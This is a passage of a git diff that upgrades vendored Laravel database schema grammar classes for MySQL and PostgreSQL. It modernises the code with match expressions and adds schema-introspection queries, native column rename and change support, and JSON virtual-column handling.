$options['customSchemaOptions'] = [ 'collation' => '', @@ -145,26 +152,16 @@ protected static function getDoctrineColumnType($type) { $type = strtolower($type); - switch ($type) { - case 'biginteger': - $type = 'bigint'; - break; - case 'smallinteger': - $type = 'smallint'; - break; - case 'mediumtext': - case 'longtext': - $type = 'text'; - break; - case 'binary': - $type = 'blob'; - break; - case 'uuid': - $type = 'guid'; - break; - } - - return Type::getType($type); + return Type::getType(match ($type) { + 'biginteger' => 'bigint', + 'smallinteger' => 'smallint', + 'tinytext', 'mediumtext', 'longtext' => 'text', + 'binary' => 'blob', + 'uuid' => 'guid', + 'char' => 'string', + 'double' => 'float', + default => $type, + }); } /** @@ -175,14 +172,12 @@ protected static function getDoctrineColumnType($type) */ protected static function calculateDoctrineTextLength($type) { - switch ($type) { - case 'mediumText': - return 65535 + 1; - case 'longText': - return 16777215 + 1; - default: - return 255 + 1; - } + return match ($type) { + 'tinyText' => 1, + 'mediumText' => 65535 + 1, + 'longText' => 16777215 + 1, + default => 255 + 1, + }; } /** @@ -207,6 +202,7 @@ protected static function doesntNeedCharacterOptions($type) 'mediumInteger', 'smallInteger', 'time', + 'timestamp', 'tinyInteger', ]); } @@ -219,19 +215,13 @@ protected static function doesntNeedCharacterOptions($type) */ protected static function mapFluentOptionToDoctrine($attribute) { - switch ($attribute) { - case 'type': - case 'name': - return; - case 'nullable': - return 'notnull'; - case 'total': - return 'precision'; - case 'places': - return 'scale'; - default: - return $attribute; - } + return match ($attribute) { + 'type', 'name' => null, + 'nullable' => 'notnull', + 'total' => 'precision', + 'places' => 'scale', + default => $attribute, + }; } /** diff --git a/vendor/illuminate/database/Schema/Grammars/Grammar.php b/vendor/illuminate/database/Schema/Grammars/Grammar.php index 7313576b4..c6325b57c 100644 --- a/vendor/illuminate/database/Schema/Grammars/Grammar.php +++ b/vendor/illuminate/database/Schema/Grammars/Grammar.php @@ -2,11 +2,13 @@ namespace Illuminate\Database\Schema\Grammars; +use BackedEnum; use Doctrine\DBAL\Schema\AbstractSchemaManager as SchemaManager; use Doctrine\DBAL\Schema\TableDiff; +use Illuminate\Contracts\Database\Query\Expression; +use Illuminate\Database\Concerns\CompilesJsonPaths; use Illuminate\Database\Connection; use Illuminate\Database\Grammar as BaseGrammar; -use Illuminate\Database\Query\Expression; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Fluent; use LogicException; @@ -14,6 +16,15 @@ abstract class Grammar extends BaseGrammar { + use CompilesJsonPaths; + + /** + * The possible column modifiers. + * + * @var string[] + */ + protected $modifiers = []; + /** * If this Grammar supports schema changes wrapped in a transaction. * @@ -61,7 +72,7 @@ public function compileDropDatabaseIfExists($name) * @param \Illuminate\Database\Schema\Blueprint $blueprint * @param \Illuminate\Support\Fluent $command * @param \Illuminate\Database\Connection $connection - * @return array + * @return array|string */ public function compileRenameColumn(Blueprint $blueprint, Fluent $command, Connection $connection) { @@ -74,7 +85,7 @@ public function compileRenameColumn(Blueprint $blueprint, Fluent $command, Conne * @param \Illuminate\Database\Schema\Blueprint $blueprint * @param \Illuminate\Support\Fluent $command * @param \Illuminate\Database\Connection $connection - * @return array + * @return array|string * * @throws \RuntimeException */ @@ -103,10 +114,12 @@ public function compileFulltext(Blueprint $blueprint, Fluent $command) * @param \Illuminate\Database\Schema\Blueprint $blueprint * @param \Illuminate\Support\Fluent $command * @return string + * + * @throws \RuntimeException */ public function compileDropFullText(Blueprint $blueprint, Fluent $command) { - throw new RuntimeException('This database driver does not support fulltext index creation.'); + throw new RuntimeException('This database driver does not support fulltext index removal.'); } /** @@ -150,7 +163,7 @@ public function compileForeign(Blueprint $blueprint, Fluent $command) } /** - * Compile the blueprint's column definitions. + * Compile the blueprint's added column definitions. * * @param \Illuminate\Database\Schema\Blueprint $blueprint * @return array @@ -160,7 +173,7 @@ protected function getColumns(Blueprint $blueprint) $columns = []; foreach ($blueprint->getAddedColumns() as $column) { - // Each of the column types have their own compiler functions which are tasked + // Each of the column types has their own compiler functions, which are tasked // with turning the column definition into its SQL format for this platform // used by the connection. The column's modifiers are compiled and added. $sql = $this->wrap($column).' '.$this->getType($column); @@ -274,7 +287,7 @@ public function wrapTable($table) /** * Wrap a value in keyword identifiers. * - * @param \Illuminate\Database\Query\Expression|string $value + * @param \Illuminate\Support\Fluent|\Illuminate\Contracts\Database\Query\Expression|string $value * @param bool $prefixAlias * @return string */ @@ -294,7 +307,11 @@ public function wrap($value, $prefixAlias = false) protected function getDefaultValue($value) { if ($value instanceof Expression) { - return $value; + return $this->getValue($value); + } + + if ($value instanceof BackedEnum) { + return "'{$value->value}'"; } return is_bool($value) @@ -311,11 +328,11 @@ protected function getDefaultValue($value) */ public function getDoctrineTableDiff(Blueprint $blueprint, SchemaManager $schema) { - $table = $this->getTablePrefix().$blueprint->getTable(); + $tableName = $this->getTablePrefix().$blueprint->getTable(); - return tap(new TableDiff($table), function ($tableDiff) use ($schema, $table) { - $tableDiff->fromTable = $schema->listTableDetails($table); - }); + $table = $schema->introspectTable($tableName); + + return new TableDiff(tableName: $tableName, fromTable: $table); } /** diff --git a/vendor/illuminate/database/Schema/Grammars/MySqlGrammar.php b/vendor/illuminate/database/Schema/Grammars/MySqlGrammar.php index 1f64cf31e..26d97a7a5 100644 --- a/vendor/illuminate/database/Schema/Grammars/MySqlGrammar.php +++ b/vendor/illuminate/database/Schema/Grammars/MySqlGrammar.php @@ -3,6 +3,7 @@ namespace Illuminate\Database\Schema\Grammars; use Illuminate\Database\Connection; +use Illuminate\Database\Query\Expression; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Fluent; use RuntimeException; @@ -15,8 +16,8 @@ class MySqlGrammar extends Grammar * @var string[] */ protected $modifiers = [ - 'Unsigned', 'Charset', 'Collate', 'VirtualAs', 'StoredAs', 'Nullable', 'Invisible', - 'Srid', 'Default', 'Increment', 'Comment', 'After', 'First', + 'Unsigned', 'Charset', 'Collate', 'VirtualAs', 'StoredAs', 'Nullable', + 'Srid', 'Default', 'OnUpdate', 'Invisible', 'Increment', 'Comment', 'After', 'First', ]; /** @@ -26,6 +27,13 @@ class MySqlGrammar extends Grammar */ protected $serials = ['bigInteger', 'integer', 'mediumInteger', 'smallInteger', 'tinyInteger']; + /** + * The commands to be executed outside of create or alter command. + * + * @var string[] + */ + protected $fluentCommands = ['AutoIncrementStartingValues']; + /** * Compile a create database command. * @@ -35,11 +43,21 @@ class MySqlGrammar extends Grammar */ public function compileCreateDatabase($name, $connection) { + $charset = $connection->getConfig('charset'); + $collation = $connection->getConfig('collation'); + + if (! $charset || ! $collation) { + return sprintf( + 'create database %s', + $this->wrapValue($name), + ); + } + return sprintf( 'create database %s default character set %s default collate %s', $this->wrapValue($name), - $this->wrapValue($connection->getConfig('charset')), - $this->wrapValue($connection->getConfig('collation')), + $this->wrapValue($charset), + $this->wrapValue($collation), ); } @@ -60,6 +78,8 @@ public function compileDropDatabaseIfExists($name) /** * Compile the query to determine the list of tables. * + * @deprecated Will be removed in a future Laravel version. + * * @return string */ public function compileTableExists() @@ -67,9 +87,68 @@ public function compileTableExists() return "select * from information_schema.tables where table_schema = ? and table_name = ? and table_type = 'BASE TABLE'"; } + /** + * Compile the query to determine the tables. + * + * @param string $database + * @return string + */ + public function compileTables($database) + { + return sprintf( + 'select table_name as `name`, (data_length + index_length) as `size`, ' + .'table_comment as `comment`, engine as `engine`, table_collation as `collation` ' + ."from information_schema.tables where table_schema = %s and table_type in ('BASE TABLE', 'SYSTEM VERSIONED') " + .'order by table_name', + $this->quoteString($database) + ); + } + + /** + * Compile the query to determine the views. + * + * @param string $database + * @return string + */ + public function compileViews($database) + { + return sprintf( + 'select table_name as `name`, view_definition as `definition` ' + .'from information_schema.views where table_schema = %s ' + .'order by table_name', + $this->quoteString($database) + ); + } + + /** + * Compile the SQL needed to retrieve all table names. + * + * @deprecated Will be removed in a future Laravel version. + * + * @return string + */ + public function compileGetAllTables() + { + return 'SHOW FULL TABLES WHERE table_type = \'BASE TABLE\''; + } + + /** + * Compile the SQL needed to retrieve all view names. + * + * @deprecated Will be removed in a future Laravel version. + * + * @return string + */ + public function compileGetAllViews() + { + return 'SHOW FULL TABLES WHERE table_type = \'VIEW\''; + } + /** * Compile the query to determine the list of columns. * + * @deprecated Will be removed in a future Laravel version. + * * @return string */ public function compileColumnListing() @@ -77,13 +156,78 @@ public function compileColumnListing() return 'select column_name as `column_name` from information_schema.columns where table_schema = ? and table_name = ?'; } + /** + * Compile the query to determine the columns. + * + * @param string $database + * @param string $table + * @return string + */ + public function compileColumns($database, $table) + { + return sprintf( + 'select column_name as `name`, data_type as `type_name`, column_type as `type`, ' + .'collation_name as `collation`, is_nullable as `nullable`, ' + .'column_default as `default`, column_comment as `comment`, extra as `extra` ' + .'from information_schema.columns where table_schema = %s and table_name = %s ' + .'order by ordinal_position asc', + $this->quoteString($database), + $this->quoteString($table) + ); + } + + /** + * Compile the query to determine the indexes. + * + * @param string $database + * @param string $table + * @return string + */ + public function compileIndexes($database, $table) + { + return sprintf( + 'select index_name as `name`, group_concat(column_name order by seq_in_index) as `columns`, ' + .'index_type as `type`, not non_unique as `unique` ' + .'from information_schema.statistics where table_schema = %s and table_name = %s ' + .'group by index_name, index_type, non_unique', + $this->quoteString($database), + $this->quoteString($table) + ); + } + + /** + * Compile the query to determine the foreign keys. + * + * @param string $database + * @param string $table + * @return string + */ + public function compileForeignKeys($database, $table) + { + return sprintf( + 'select kc.constraint_name as `name`, ' + .'group_concat(kc.column_name order by kc.ordinal_position) as `columns`, ' + .'kc.referenced_table_schema as `foreign_schema`, ' + .'kc.referenced_table_name as `foreign_table`, ' + .'group_concat(kc.referenced_column_name order by kc.ordinal_position) as `foreign_columns`, ' + .'rc.update_rule as `on_update`, ' + .'rc.delete_rule as `on_delete` ' + .'from information_schema.key_column_usage kc join information_schema.referential_constraints rc ' + .'on kc.constraint_schema = rc.constraint_schema and kc.constraint_name = rc.constraint_name ' + .'where kc.table_schema = %s and kc.table_name = %s and kc.referenced_table_name is not null ' + .'group by kc.constraint_name, kc.referenced_table_schema, kc.referenced_table_name, rc.update_rule, rc.delete_rule', + $this->quoteString($database), + $this->quoteString($table) + ); + } + /** * Compile a create table command. * * @param \Illuminate\Database\Schema\Blueprint $blueprint * @param \Illuminate\Support\Fluent $command * @param \Illuminate\Database\Connection $connection - * @return array + * @return string */ public function compileCreate(Blueprint $blueprint, Fluent $command, Connection $connection) { @@ -101,9 +245,7 @@ public function compileCreate(Blueprint $blueprint, Fluent $command, Connection // Finally, we will append the engine configuration onto this SQL statement as // the final thing we do before returning this finished SQL. Once this gets // added the query will be ready to execute against the real connections. - return array_values(array_filter(array_merge([$this->compileCreateEngine( - $sql, $connection, $blueprint - )], $this->compileAutoIncrementStartingValues($blueprint)))); + return $this->compileCreateEngine($sql, $connection, $blueprint); } /** @@ -112,15 +254,27 @@ public function compileCreate(Blueprint $blueprint, Fluent $command, Connection * @param \Illuminate\Database\Schema\Blueprint $blueprint * @param \Illuminate\Support\Fluent $command * @param \Illuminate\Database\Connection $connection - * @return array + * @return string */ protected function compileCreateTable($blueprint, $command, $connection) { - return trim(sprintf('%s table %s (%s)', + $tableStructure = $this->getColumns($blueprint); + + if ($primaryKey = $this->getCommandByName($blueprint, 'primary')) { + $tableStructure[] = sprintf( + 'primary key %s(%s)', + $primaryKey->algorithm ? 'using '.$primaryKey->algorithm : '', + $this->columnize($primaryKey->columns) + ); + + $primaryKey->shouldBeSkipped = true; + } + + return sprintf('%s table %s (%s)', $blueprint->temporary ? 'create temporary' : 'create', $this->wrapTable($blueprint), - implode(', ', $this->getColumns($blueprint)) - )); + implode(', ', $tableStructure) + ); } /** @@ -178,29 +332,79 @@ protected function compileCreateEngine($sql, Connection $connection, Blueprint $ * * @param \Illuminate\Database\Schema\Blueprint $blueprint * @param \Illuminate\Support\Fluent $command - * @return array + * @return string */ public function compileAdd(Blueprint $blueprint, Fluent $command) { $columns = $this->prefixArray('add', $this->getColumns($blueprint)); - return array_values(array_merge( - ['alter table '.$this->wrapTable($blueprint).' '.implode(', ', $columns)], - $this->compileAutoIncrementStartingValues($blueprint) - )); + return 'alter table '.$this->wrapTable($blueprint).' '.implode(', ', $columns); } /** * Compile the auto-incrementing column starting values. * * @param \Illuminate\Database\Schema\Blueprint $blueprint - * @return array + * @param \Illuminate\Support\Fluent $command + * @return string */ - public function compileAutoIncrementStartingValues(Blueprint $blueprint) + public function compileAutoIncrementStartingValues(Blueprint $blueprint, Fluent $command) { - return collect($blueprint->autoIncrementingStartingValues())->map(function ($value, $column) use ($blueprint) { - return 'alter table '.$this->wrapTable($blueprint->getTable()).' auto_increment = '.$value; - })->all(); + if ($command->column->autoIncrement + && $value = $command->column->get('startingValue', $command->column->get('from'))) { + return 'alter table '.$this->wrapTable($blueprint).' auto_increment = '.$value; + } + } + + /** + * Compile a rename column command. + * + * @param \Illuminate\Database\Schema\Blueprint $blueprint + * @param \Illuminate\Support\Fluent $command + * @param \Illuminate\Database\Connection $connection + * @return array|string + */ + public function compileRenameColumn(Blueprint $blueprint, Fluent $command, Connection $connection) + { + return $connection->usingNativeSchemaOperations() + ? sprintf('alter table %s rename column %s to %s', + $this->wrapTable($blueprint), + $this->wrap($command->from), + $this->wrap($command->to) + ) + : parent::compileRenameColumn($blueprint, $command, $connection); + } + + /** + * Compile a change column command into a series of SQL statements. + * + * @param \Illuminate\Database\Schema\Blueprint $blueprint + * @param \Illuminate\Support\Fluent $command + * @param \Illuminate\Database\Connection $connection + * @return array|string + * + * @throws \RuntimeException + */ + public function compileChange(Blueprint $blueprint, Fluent $command, Connection $connection) + { + if (! $connection->usingNativeSchemaOperations()) { + return parent::compileChange($blueprint, $command, $connection); + } + + $columns = []; + + foreach ($blueprint->getChangedColumns() as $column) { + $sql = sprintf('%s %s%s %s', + is_null($column->renameTo) ? 'modify' : 'change', + $this->wrap($column), + is_null($column->renameTo) ? '' : ' '.$this->wrap($column->renameTo), + $this->getType($column) + ); + + $columns[] = $this->addModifiers($sql, $blueprint, $column); + } + + return 'alter table '.$this->wrapTable($blueprint).' '.implode(', ', $columns); } /** @@ -212,9 +416,11 @@ public function compileAutoIncrementStartingValues(Blueprint $blueprint) */ public function compilePrimary(Blueprint $blueprint, Fluent $command) { - $command->name(null); - - return $this->compileKey($blueprint, $command, 'primary key'); + return sprintf('alter table %s add primary key %s(%s)', + $this->wrapTable($blueprint), + $command->algorithm ? 'using '.$command->algorithm : '', + $this->columnize($command->columns) + ); } /** @@ -453,43 +659,38 @@ public function compileDropAllViews($views) } /** - * Compile the SQL needed to retrieve all table names. - * - * @return string - */ - public function compileGetAllTables() - { - return 'SHOW FULL TABLES WHERE table_type = \'BASE TABLE\''; - } - - /** - * Compile the SQL needed to retrieve all view names. + * Compile the command to enable foreign key constraints. * * @return string */ - public function compileGetAllViews() + public function compileEnableForeignKeyConstraints() { - return 'SHOW FULL TABLES WHERE table_type = \'VIEW\''; + return 'SET FOREIGN_KEY_CHECKS=1;'; } /** - * Compile the command to enable foreign key constraints. + * Compile the command to disable foreign key constraints. * * @return string */ - public function compileEnableForeignKeyConstraints() + public function compileDisableForeignKeyConstraints() { - return 'SET FOREIGN_KEY_CHECKS=1;'; + return 'SET FOREIGN_KEY_CHECKS=0;'; } /** - * Compile the command to disable foreign key constraints. + * Compile a table comment command. * + * @param \Illuminate\Database\Schema\Blueprint $blueprint + * @param \Illuminate\Support\Fluent $command * @return string */ - public function compileDisableForeignKeyConstraints() + public function compileTableComment(Blueprint $blueprint, Fluent $command) { - return 'SET FOREIGN_KEY_CHECKS=0;'; + return sprintf('alter table %s comment = %s', + $this->wrapTable($blueprint), + "'".str_replace("'", "''", $command->comment)."'" + ); } /** @@ -724,13 +925,17 @@ protected function typeDate(Fluent $column) */ protected function typeDateTime(Fluent $column) { - $columnType = $column->precision ? "datetime($column->precision)" : 'datetime'; - $current = $column->precision ? "CURRENT_TIMESTAMP($column->precision)" : 'CURRENT_TIMESTAMP'; - $columnType = $column->useCurrent ? "$columnType default $current" : $columnType; + if ($column->useCurrent) { + $column->default(new Expression($current)); + } + + if ($column->useCurrentOnUpdate) { + $column->onUpdate(new Expression($current)); + } - return $column->useCurrentOnUpdate ? "$columnType on update $current" : $columnType; + return $column->precision ? "datetime($column->precision)" : 'datetime'; } /** @@ -774,13 +979,17 @@ protected function typeTimeTz(Fluent $column) */ protected function typeTimestamp(Fluent $column) { - $columnType = $column->precision ? "timestamp($column->precision)" : 'timestamp'; - $current = $column->precision ? "CURRENT_TIMESTAMP($column->precision)" : 'CURRENT_TIMESTAMP'; - $columnType = $column->useCurrent ? "$columnType default $current" : $columnType; + if ($column->useCurrent) { + $column->default(new Expression($current)); + } - return $column->useCurrentOnUpdate ? "$columnType on update $current" : $columnType; + if ($column->useCurrentOnUpdate) { + $column->onUpdate(new Expression($current)); + } + + return $column->precision ? "timestamp($column->precision)" : 'timestamp'; } /** @@ -959,8 +1168,16 @@ protected function typeComputed(Fluent $column) */ protected function modifyVirtualAs(Blueprint $blueprint, Fluent $column) { - if (! is_null($column->virtualAs)) { - return " as ({$column->virtualAs})"; + if (! is_null($virtualAs = $column->virtualAsJson)) { + if ($this->isJsonSelector($virtualAs)) { + $virtualAs = $this->wrapJsonSelector($virtualAs); + } + + return " as ({$virtualAs})"; + } + + if (! is_null($virtualAs = $column->virtualAs)) { + return " as ({$this->getValue($virtualAs)})"; } } @@ -973,8 +1190,16 @@ protected function modifyVirtualAs(Blueprint $blueprint, Fluent $column) */ protected function modifyStoredAs(Blueprint $blueprint, Fluent $column) { - if (! is_null($column->storedAs)) { - return " as ({$column->storedAs}) stored"; + if (! is_null($storedAs = $column->storedAsJson)) { + if ($this->isJsonSelector($storedAs)) { + $storedAs = $this->wrapJsonSelector($storedAs); + } + + return " as ({$storedAs}) stored"; + } + + if (! is_null($storedAs = $column->storedAs)) { + return " as ({$this->getValue($storedAs)}) stored"; } } @@ -1029,7 +1254,10 @@ protected function modifyCollate(Blueprint $blueprint, Fluent $column) */ protected function modifyNullable(Blueprint $blueprint, Fluent $column) { - if (is_null($column->virtualAs) && is_null($column->storedAs)) { + if (is_null($column->virtualAs) && + is_null($column->virtualAsJson) && + is_null($column->storedAs) && + is_null($column->storedAsJson)) { return $column->nullable ? ' null' : ' not null'; } @@ -1066,6 +1294,20 @@ protected function modifyDefault(Blueprint $blueprint, Fluent $column) } } + /** + * Get the SQL for an "on update" column modifier. + * + * @param \Illuminate\Database\Schema\Blueprint $blueprint + * @param \Illuminate\Support\Fluent $column + * @return string|null + */ + protected function modifyOnUpdate(Blueprint $blueprint, Fluent $column) + { + if (! is_null($column->onUpdate)) { + return ' on update '.$this->getValue($column->onUpdate); + } + } + /** * Get the SQL for an auto-increment column modifier. * @@ -1131,7 +1373,7 @@ protected function modifyComment(Blueprint $blueprint, Fluent $column) */ protected function modifySrid(Blueprint $blueprint, Fluent $column) { - if (! is_null($column->srid) && is_int($column->srid) && $column->srid > 0) { + if (is_int($column->srid) && $column->srid > 0) { return ' srid '.$column->srid; } } @@ -1150,4 +1392,17 @@ protected function wrapValue($value) return $value; } + + /** + * Wrap the given JSON selector. + * + * @param string $value + * @return string + */ + protected function wrapJsonSelector($value) + { + [$field, $path] = $this->wrapJsonFieldAndPath($value); + + return 'json_unquote(json_extract('.$field.$path.'))'; + } } diff --git a/vendor/illuminate/database/Schema/Grammars/PostgresGrammar.php b/vendor/illuminate/database/Schema/Grammars/PostgresGrammar.php index 27490bc44..6119607ab 100644 --- a/vendor/illuminate/database/Schema/Grammars/PostgresGrammar.php +++ b/vendor/illuminate/database/Schema/Grammars/PostgresGrammar.php @@ -2,8 +2,11 @@ namespace Illuminate\Database\Schema\Grammars; +use Illuminate\Database\Connection; +use Illuminate\Database\Query\Expression; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Fluent; +use LogicException; class PostgresGrammar extends Grammar { @@ -19,7 +22,7 @@ class PostgresGrammar extends Grammar * * @var string[] */ - protected $modifiers = ['Collate', 'Increment', 'Nullable', 'Default', 'VirtualAs', 'StoredAs']; + protected $modifiers = ['Collate', 'Nullable', 'Default', 'VirtualAs', 'StoredAs', 'GeneratedAs', 'Increment']; /** * The columns available as serials. @@ -33,7 +36,7 @@ class PostgresGrammar extends Grammar * * @var string[] */ - protected $fluentCommands = ['Comment']; + protected $fluentCommands = ['AutoIncrementStartingValues', 'Comment']; /** * Compile a create database command. @@ -72,17 +75,166 @@ public function compileDropDatabaseIfExists($name) */ public function compileTableExists() { - return "select * from information_schema.tables where table_schema = ? and table_name = ? and table_type = 'BASE TABLE'"; + return "select * from information_schema.tables where table_catalog = ? and table_schema = ? and table_name = ? and table_type = 'BASE TABLE'"; + } + + /** + * Compile the query to determine the tables. + * + * @return string + */ + public function compileTables() + { + return 'select c.relname as name, n.nspname as schema, pg_total_relation_size(c.oid) as size, ' + ."obj_description(c.oid, 'pg_class') as comment from pg_class c, pg_namespace n " + ."where c.relkind in ('r', 'p') and n.oid = c.relnamespace and n.nspname not in ('pg_catalog', 'information_schema') " + .'order by c.relname'; + } + + /** + * Compile the query to determine the views. + * + * @return string + */ + public function compileViews() + { + return "select viewname as name, schemaname as schema, definition from pg_views where schemaname not in ('pg_catalog', 'information_schema') order by viewname"; + } + + /** + * Compile the query to determine the user-defined types. + * + * @return string + */ + public function compileTypes() + { + return 'select t.typname as name, n.nspname as schema, t.typtype as type, t.typcategory as category, ' + ."((t.typinput = 'array_in'::regproc and t.typoutput = 'array_out'::regproc) or t.typtype = 'm') as implicit " + .'from pg_type t join pg_namespace n on n.oid = t.typnamespace ' + .'left join pg_class c on c.oid = t.typrelid ' + .'left join pg_type el on el.oid = t.typelem ' + .'left join pg_class ce on ce.oid = el.typrelid ' + ."where ((t.typrelid = 0 and (ce.relkind = 'c' or ce.relkind is null)) or c.relkind = 'c') " + ."and not exists (select 1 from pg_depend d where d.objid in (t.oid, t.typelem) and d.deptype = 'e') " + ."and n.nspname not in ('pg_catalog', 'information_schema')"; + } + + /** + * Compile the SQL needed to retrieve all table names. + * + * @deprecated Will be removed in a future Laravel version. + * + * @param string|array $searchPath + * @return string + */ + public function compileGetAllTables($searchPath) + { + return "select tablename, concat('\"', schemaname, '\".\"', tablename, '\"') as qualifiedname from pg_catalog.pg_tables where schemaname in ('".implode("','", (array) $searchPath)."')"; + } + + /** + * Compile the SQL needed to retrieve all view names. + * + * @deprecated Will be removed in a future Laravel version. + * + * @param string|array $searchPath + * @return string + */ + public function compileGetAllViews($searchPath) + { + return "select viewname, concat('\"', schemaname, '\".\"', viewname, '\"') as qualifiedname from pg_catalog.pg_views where schemaname in ('".implode("','", (array) $searchPath)."')"; } /** * Compile the query to determine the list of columns. * + * @deprecated Will be removed in a future Laravel version. + * * @return string */ public function compileColumnListing() { - return 'select column_name from information_schema.columns where table_schema = ? and table_name = ?'; + return 'select column_name from information_schema.columns where table_catalog = ? and table_schema = ? and table_name = ?'; + } + + /** + * Compile the query to determine the columns. + * + * @param string $database + * @param string $schema + * @param string $table + * @return string + */ + public function compileColumns($database, $schema, $table) + { + return sprintf( + 'select a.attname as name, t.typname as type_name, format_type(a.atttypid, a.atttypmod) as type, ' + .'(select tc.collcollate from pg_catalog.pg_collation tc where tc.oid = a.attcollation) as collation, ' + .'not a.attnotnull as nullable, ' + .'(select pg_get_expr(adbin, adrelid) from pg_attrdef where c.oid = pg_attrdef.adrelid and pg_attrdef.adnum = a.attnum) as default, ' + .'col_description(c.oid, a.attnum) as comment ' + .'from pg_attribute a, pg_class c, pg_type t, pg_namespace n ' + .'where c.relname = %s and n.nspname = %s and a.attnum > 0 and a.attrelid = c.oid and a.atttypid = t.oid and n.oid = c.relnamespace ' + .'order by a.attnum', + $this->quoteString($table), + $this->quoteString($schema) + ); + } + + /** + * Compile the query to determine the indexes. + * + * @param string $schema + * @param string $table + * @return string + */ + public function compileIndexes($schema, $table) + { + return sprintf( + "select ic.relname as name, string_agg(a.attname, ',' order by indseq.ord) as columns, " + .'am.amname as "type", i.indisunique as "unique", i.indisprimary as "primary" ' + .'from pg_index i ' + .'join pg_class tc on tc.oid = i.indrelid ' + .'join pg_namespace tn on tn.oid = tc.relnamespace ' + .'join pg_class ic on ic.oid = i.indexrelid ' + .'join pg_am am on am.oid = ic.relam ' + .'join lateral unnest(i.indkey) with ordinality as indseq(num, ord) on true ' + .'left join pg_attribute a on a.attrelid = i.indrelid and a.attnum = indseq.num ' + .'where tc.relname = %s and tn.nspname = %s ' + .'group by ic.relname, am.amname, i.indisunique, i.indisprimary', + $this->quoteString($table), + $this->quoteString($schema) + ); + } + + /** + * Compile the query to determine the foreign keys. + * + * @param string $schema + * @param string $table + * @return string + */ + public function compileForeignKeys($schema, $table) + { + return sprintf( + 'select c.conname as name, ' + ."string_agg(la.attname, ',' order by conseq.ord) as columns, " + .'fn.nspname as foreign_schema, fc.relname as foreign_table, ' + ."string_agg(fa.attname, ',' order by conseq.ord) as foreign_columns, " + .'c.confupdtype as on_update, c.confdeltype as on_delete ' + .'from pg_constraint c ' + .'join pg_class tc on c.conrelid = tc.oid ' + .'join pg_namespace tn on tn.oid = tc.relnamespace ' + .'join pg_class fc on c.confrelid = fc.oid ' + .'join pg_namespace fn on fn.oid = fc.relnamespace ' + .'join lateral unnest(c.conkey) with ordinality as conseq(num, ord) on true ' + .'join pg_attribute la on la.attrelid = c.conrelid and la.attnum = conseq.num ' + .'join pg_attribute fa on fa.attrelid = c.confrelid and fa.attnum = c.confkey[conseq.ord] ' + ."where c.contype = 'f' and tc.relname = %s and tn.nspname = %s " + .'group by c.conname, fn.nspname, fc.relname, c.confupdtype, c.confdeltype', + $this->quoteString($table), + $this->quoteString($schema) + ); } /** @@ -90,15 +242,15 @@ public function compileColumnListing() * * @param \Illuminate\Database\Schema\Blueprint $blueprint * @param \Illuminate\Support\Fluent $command - * @return array + * @return string */ public function compileCreate(Blueprint $blueprint, Fluent $command) { - return array_values(array_filter(array_merge([sprintf('%s table %s (%s)', + return sprintf('%s table %s (%s)', $blueprint->temporary ? 'create temporary' : 'create', $this->wrapTable($blueprint), implode(', ', $this->getColumns($blueprint)) - )], $this->compileAutoIncrementStartingValues($blueprint)))); + ); } /** @@ -110,23 +262,85 @@ public function compileCreate(Blueprint $blueprint, Fluent $command) */ public function compileAdd(Blueprint $blueprint, Fluent $command) { - return array_values(array_filter(array_merge([sprintf('alter table %s %s', + return sprintf('alter table %s %s', $this->wrapTable($blueprint), implode(', ', $this->prefixArray('add column', $this->getColumns($blueprint))) - )], $this->compileAutoIncrementStartingValues($blueprint)))); + ); } /** * Compile the auto-incrementing column starting values. * * @param \Illuminate\Database\Schema\Blueprint $blueprint - * @return array + * @param \Illuminate\Support\Fluent $command + * @return string + */ + public function compileAutoIncrementStartingValues(Blueprint $blueprint, Fluent $command) + { + if ($command->column->autoIncrement + && $value = $command->column->get('startingValue', $command->column->get('from'))) { + return 'alter sequence '.$blueprint->getTable().'_'.$command->column->name.'_seq restart with '.$value; + } + } + + /** + * Compile a rename column command. + * + * @param \Illuminate\Database\Schema\Blueprint $blueprint + * @param \Illuminate\Support\Fluent $command + * @param \Illuminate\Database\Connection $connection + * @return array|string */ - public function compileAutoIncrementStartingValues(Blueprint $blueprint) + public function compileRenameColumn(Blueprint $blueprint, Fluent $command, Connection $connection) { - return collect($blueprint->autoIncrementingStartingValues())->map(function ($value, $column) use ($blueprint) { - return 'alter sequence '.$blueprint->getTable().'_'.$column.'_seq restart with '.$value; - })->all(); + return $connection->usingNativeSchemaOperations() + ? sprintf('alter table %s rename column %s to %s', + $this->wrapTable($blueprint), + $this->wrap($command->from), + $this->wrap($command->to) + ) + : parent::compileRenameColumn($blueprint, $command, $connection); + } + + /** + * Compile a change column command into a series of SQL statements. + * + * @param \Illuminate\Database\Schema\Blueprint $blueprint + * @param \Illuminate\Support\Fluent $command + * @param \Illuminate\Database\Connection $connection + * @return array|string + * + * @throws \RuntimeException + */ + public function compileChange(Blueprint $blueprint, Fluent $command, Connection $connection) + { + if (! $connection->usingNativeSchemaOperations()) { + return parent::compileChange($blueprint, $command, $connection); + } + + $columns = []; + + foreach ($blueprint->getChangedColumns() as $column) { + $changes = ['type '.$this->getType($column).$this->modifyCollate($blueprint, $column)]; + + foreach ($this->modifiers as $modifier) { + if ($modifier === 'Collate') { + continue; + } + + if (method_exists($this, $method = "modify{$modifier}")) { + $constraints = (array) $this->{$method}($blueprint, $column); + + foreach ($constraints as $constraint) { + $changes[] = $constraint; + } + } + } + + $columns[] = implode(', ', $this->prefixArray('alter column '.$this->wrap($column), $changes)); + } + + return 'alter table '.$this->wrapTable($blueprint).' '.implode(', ', $columns); } /** @@ -152,11 +366,21 @@ public function compilePrimary(Blueprint $blueprint, Fluent $command) */ public function compileUnique(Blueprint $blueprint, Fluent $command) { - return sprintf('alter table %s add constraint %s unique (%s)', + $sql = sprintf('alter table %s add constraint %s unique (%s)', $this->wrapTable($blueprint), $this->wrap($command->index), $this->columnize($command->columns) ); + + if (! is_null($command->deferrable)) { + $sql .= $command->deferrable ? ' deferrable' : ' not deferrable'; + } + + if ($command->deferrable && ! is_null($command->initiallyImmediate)) { + $sql .= $command->initiallyImmediate ? ' initially immediate' : ' initially deferred'; + } + + return $sql; } /** @@ -272,7 +496,7 @@ public function compileDropIfExists(Blueprint $blueprint, Fluent $command) */ public function compileDropAllTables($tables) { - return 'drop table "'.implode('","', $tables).'" cascade'; + return 'drop table '.implode(',', $this->escapeNames($tables)).' cascade'; } /** @@ -283,7 +507,7 @@ public function compileDropAllTables($tables) */ public function compileDropAllViews($views) { - return 'drop view "'.implode('","', $views).'" cascade'; + return 'drop view '.implode(',', $this->escapeNames($views)).' cascade'; } /** @@ 